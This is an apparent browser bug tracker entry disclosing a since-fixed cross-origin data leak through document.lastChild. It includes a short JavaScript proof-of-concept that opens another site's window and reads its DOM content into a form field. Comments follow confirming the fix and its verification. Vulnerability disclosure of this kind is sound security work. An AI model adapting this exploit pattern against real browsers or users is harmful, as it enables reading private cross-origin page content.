19044 - document.lastChild vulnerability

Status: VERIFIED FIXED

(Core :: Security, defect, P3)

Description

[joro]

document.lastChild allows access to arbitrary document, which allows at least
reading its content.
This bug is very similar to the document.firstChild bug.
The code is:
-----------------------------------------------------------------
function f(o)
{
 var s='';
 var i;
 s = o.nodeValue;
 if ( o.childNodes )
    for ( i = 0; i < o.childNodes.length; i++ )
       s += f(o.childNodes[i]);
return s;
}

a=window.open("http://www.yahoo.com","victim");

function g()
{
document.forms[0].elements[0].value=f(a.document.lastChild);
}
setTimeout("g()",10000);
---------------------------------------------------

Comment 1

[Norris Boyd]

This is fixed with my Friday night checkin of all.js.

Comment 2

[dshea]

Windows NT 1999120208 Comm
Verified
...'[Exception... "Security error"'...

Comment 3

[leger]

Bulk moving all Browser Security bugs to new Security: General component.  The 
previous Security component for Browser will be deleted.